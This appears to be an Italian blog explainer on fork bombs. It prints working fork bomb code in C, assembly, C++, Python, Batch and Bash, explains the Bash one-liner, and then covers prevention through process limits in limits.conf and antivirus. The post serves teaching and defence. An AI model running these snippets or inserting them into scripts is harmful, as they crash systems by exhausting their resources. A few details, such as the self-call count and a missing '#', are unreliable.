Attacco "Fork Bomb": Cos'è e come prevenire un attacco?

· 3 min lettura
Attacco "Fork Bomb": Cos'è e come prevenire un attacco?
Photo by Taylor Peake / Unsplash

Il primo worm ad essere ricordato, nonché uno tra i primi attacchi di tipo Denial of Service, è la famosa fork bomb, nota negli anni passati anche come wabbit o RABBIT. Cos’è una “fork bomb”? Come si può prevenire?

Il principio di una fork bomb è di eseguire una funzione, in un qualsiasi linguaggio di programmazione o scripting, che si auto-replica all’infinito, esaurendo poi le risorse disponibili della macchina “infettata”, che sia potenza di calcolo o memoria RAM disponibile.

Lo scopo di un worm è, per l’appunto, infettare la macchina con codice malevolo e di auto-replicarsi, all’interno della macchina stessa, su un supporto rimovibile o via rete (per esempio via il protocollo SMB o eMail).

Il tipo di attacco in questione abusa di ciò che è una fork, ossia una funzione nativa di un kernel che permette di aprire una nuova copia del programma che richiama la funzione, utilizzata principalmente per suddividere il lavoro da eseguire in più processi invece che uno solo o, nel caso di un web server, per suddividere l’attenzione del processore per ogni client che si connette al server.

Ciò ha portato, nel 1974 circa, a sviluppare la prima fork bomb, chiamata wabbit.

Ecco alcuni esempi di fork bomb in alcuni linguaggi come il C:

#include <sys/types.h>
#include <unistd.h>
int main()
{
    while(1)
    {
        fork();
    }
    return 0;
}

Assembly IA-32:

section .text
    global _start
_start:
    mov eax,2
    int 0x80
    jmp _start

C++:

include <stdlib.h>
int main()
{
    for(;;)
    {
        system("start");
    }
    return 0;
}

Altre versioni di fork bomb possono essere scritte in diversi linguaggi di scripting, per esempio Python:

import os
while True:
    os.fork()

In Windows Batch:

:fork
start
goto fork

O la più famosa rappresentazione, in linguaggio Bash:

:(){:|:&};:

Quest’ultima, è la versione “ridotta” di una fork bomb, ma può essere interpretata in modo più leggibile in questo modo:

:()			# Dichiara una funzione chiamata ":"
{			# Inizio blocco di codice della funzione ":"
:|:&			# Esegui la funzione ":" e poi esegui la funzione ":" in background
}			# Chiusura blocco di codice della funzione ":"
:			# Esegui la funzione ":"

Come si può intuire, ogni volta che la funzione “:” verrà eseguita, essa invocherà sé stessa altre tre volte, occupando esponenzialmente le risorse di un sistema in breve tempo.

TRIVIA:
In BASH, si possono dichiarare funzioni anche con simboli o caratteri speciali, ad eccezione di pochi casi come “?” o “#”, che sono caratteri di escape per funzioni native.

Come prevenire un attacco di questo tipo?

UNIX

In un sistema UNIX è possibile limitare la quantità di processi eseguiti per ogni utente, modificando un file di sistema localizzato nella directory /etc/security/limits.conf (se così non fosse, consultate la guida del vostro sistema operativo e cercate il file nella localizzazione corretta) e configurando il numero massimo di processi che l’utente o il gruppo sono autorizzati ad invocare.

Inizialmente si dovrà aprire il file per modificarlo:

$ sudo vim /etc/security/limits.conf

Aggiungendo questa riga alla fine (o modificarla se l’utente risulta già con un limite impostato):

thevirus00    hard    nproc    50

Dove:

  • thevirus00 e il nome utente
  • hard è il tipo di blocco impostato. Può essere “hard” o “soft”. Si imposta il tipo di blocco “hard” se si vuole rendere questo limite invalicabile
  • nproc è l’argomento che sta a significare, intuitivamente, “Number of PROCesses”
  • 50 è il limte impostato, ossia massimo 50 processi per l’utente “thevirus00”. In caso di superamento di tale limite, verrà mostrato un errore nella shell dopo aver tentato di eseguire un 51simo comando.

Windows

In un sistema Windows non ci sono particolari procedure per ottenere lo stesso risultato, ma basta anche solo un buon antivirus, che analizzerà il comportamento di un programma, impedendone la sua esecuzione o, al massimo, funzionando da killswitch, ossia da “arresto di emergenza” per impedire che il programma malevolo venga eseguito.

Anche Windows Defender ha la possibilità di bloccare attività di fork bomb e permette il blocco di programmi che si comportano come "bombe", difendendo così anche un computer che non ha una protezione delle risorse installata.

Questo sito necessita di caffeina per andare avanti

Non dormo da dieci giorni

Offrimi un caffè ☕